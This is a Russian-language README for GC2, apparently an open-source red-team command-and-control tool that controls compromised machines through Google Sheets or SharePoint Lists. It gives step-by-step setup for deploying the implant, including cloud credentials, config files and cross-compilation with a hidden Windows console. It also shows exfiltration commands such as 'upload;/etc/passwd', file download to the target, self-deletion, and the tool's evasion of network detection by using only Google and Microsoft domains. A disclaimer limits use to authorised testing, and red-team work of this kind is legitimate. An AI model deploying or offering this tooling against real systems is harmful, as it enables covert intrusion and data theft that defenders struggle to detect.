
GC2 — это приложение для управления и контроля (C2), которое позволяет злоумышленнику выполнять команды на целевой машине с помощью Google Sheet или Microsoft SharePoint List и эксфильтровать файлы с помощью Google Drive или Microsoft SharePoint Document.
GC2 (Google Command and Control) — это приложение Command and Control, которое позволяет атакующему выполнять команды на целевой машине, используя Google Sheet или Microsoft SharePoint List, и эксфильтровать файлы с помощью Google Drive или Microsoft SharePoint Document.
Этот проект был разработан для предоставления системы управления и контроля, которая не требует особой настройки (например, собственного домена, VPS, CDN и т. д.) во время Red Team-активностей.
Кроме того, программа будет взаимодействовать только с доменами Google и Microsoft (например, *.google.com), чтобы усложнить обнаружение сетевыми средствами защиты.
Google Sheet будет автоматически создан C2. После создания вы можете взаимодействовать с скомпрометированной системой, как показано ниже.
Microsoft SharePoint List будет автоматически создан C2. После создания вы можете взаимодействовать с скомпрометированной системой, как показано ниже.
Для эксфильтрации файлов с целевой системы зарезервирована специальная команда.
From Target to Google Drive/Microsoft SharePoint Document
upload;<local path>
Example:
upload;/etc/passwd
Примечание: файлы с одинаковыми именами автоматически перезаписываются.
Для загрузки файлов на целевую систему зарезервирована специальная команда.
From Google Drive to Target
download;<google drive file id>;<local path>
Example:
download;<file ID>;/home/user/downloaded.txt
Примечание: файлы должны быть сохранены в корневой папке SharePoint, обычно "Documents"
From SharePoint to Target
download;<SharePoint file path>;<local path>
Example:
download;download.txt;/home/user/downloaded.txt
При отправке команды exit C2 уничтожит и удалит себя с целевой системы.
Примечание: из документации os: If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. В этом случае удаляется символическая ссылка.
Данный C2 поддерживает как сервисы Google (Google Sheet + Google Drive), так и Microsoft (SharePoint Lists + SharePoint Document). Для использования C2 необходимо настроить как локальную, так и облачную конфигурацию.
Создайте новый "сервисный аккаунт" Google
Создайте новый "сервисный аккаунт" Google с помощью https://console.cloud.google.com/, создайте файл ключа .json для сервисного аккаунта.
Включите Google Sheet API и Google Drive API
Включите Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api и Google Sheet API https://developers.google.com/sheets/api/quickstart/go.
Настройте Google Sheet и Google Drive
Создайте новый Google Sheet и предоставьте к нему доступ (как редактору) сервисному аккаунту (используя его email).
Создайте новую папку Google Drive и предоставьте к ней доступ (как редактору) сервисному аккаунту (используя его email).
Для взаимодействия с сервисами Microsoft вам потребуется Business-подписка (вы можете получить бесплатную подписку на первые 30 дней).
Создайте приложение Azure
Создайте новое приложение Azure, как описано здесь https://learn.microsoft.com/ru-ru/graph/auth-v2-service?tabs=http
После создания нового приложения включите следующие API Graph:
Загрузите C2
C2 можно клонировать напрямую из GitHub:
git clone https://github.com/looCiprian/GC2-sheet
cd GC2-sheet
Настройте C2
Для настройки C2 необходимо изменить файл cmd/options.yml. C2 поддерживает как сервисы Google, так и Microsoft, также возможно их смешивание.
Только сервисы Google
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Google" # Google Drive will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Перед вставкой ключа сервисного аккаунта Google в конфигурационный файл его необходимо экранировать. Для экранирования используйте следующую команду:
cat key.json | jq -r @json | sed 's/\\n/\\\\n/g' | sed 's/\"/\\"/g'
Только сервисы Microsoft
CommandService: "Microsoft" # Microsoft SharePoint List will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Большинство ошибок можно выявить, установив флаг verbose в true. По умолчанию C2 не генерирует никакого вывода или информации об ошибках.
Владелец этого проекта не несет ответственности за любое незаконное использование данной программы.
Это проект с открытым исходным кодом, предназначенный для использования только с разрешения для оценки уровня безопасности и в исследовательских целях.
Конечный пользователь несет полную ответственность за свои действия и решения. Использование данного проекта осуществляется на ваш собственный риск. Владелец проекта не принимает на себя никакой ответственности за любые убытки или ущерб, причиненные в результате использования этого проекта.
Новости, упоминающие вредоносное ПО, использующее ту же концепцию:
Смешивание сервисов Google и Microsoft
CommandService: "Google" # Google Sheet will be used as command service to pull commands and push commands' output
FileSystemService: "Microsoft" # Microsoft SharePoint Document will be used as file system to download and exfiltrate files
GoogleServiceAccountKey : "1234567890" # your escaped json file
GoogleSheetID: "0987654321" # your Google Sheet ID (can be found in the URL)
GoogleDriveID: "1234554321" # your Google Drive folder ID (can be found in the URL)
MicrosoftTenantID: "567890098765" # your Azure Tenant ID where the Azure Application was created
MicrosoftClientID: "098765567890" # your Azure Application ID
MicrosoftClientSecret: "1234509876" # your Azure Application Secret value
MicrosoftSiteID: "0987612345" # # your SharePoint ID
#RowId: 1 # optional, specify from which (Google Sheet or SharePoint List) row the beacon should pull new commands
#Proxy: "http://127.0.0.1:8080" # optional, specify the proxy
Verbose: true # optional, suggested for debugging purposes
Соберите исполняемый файл
Несколько примеров кросскомпиляции C2 для разных ОС и архитектур.
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"
env GOOS=linux GOARCH=amd64 go build -ldflags "-s –w"
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s –w"
Запуск
После компиляции выполните его.
./gc2-sheet
Beacon автоматически создаст новый Google Sheet или Microsoft SharePoint List в соответствии с вашей конфигурацией.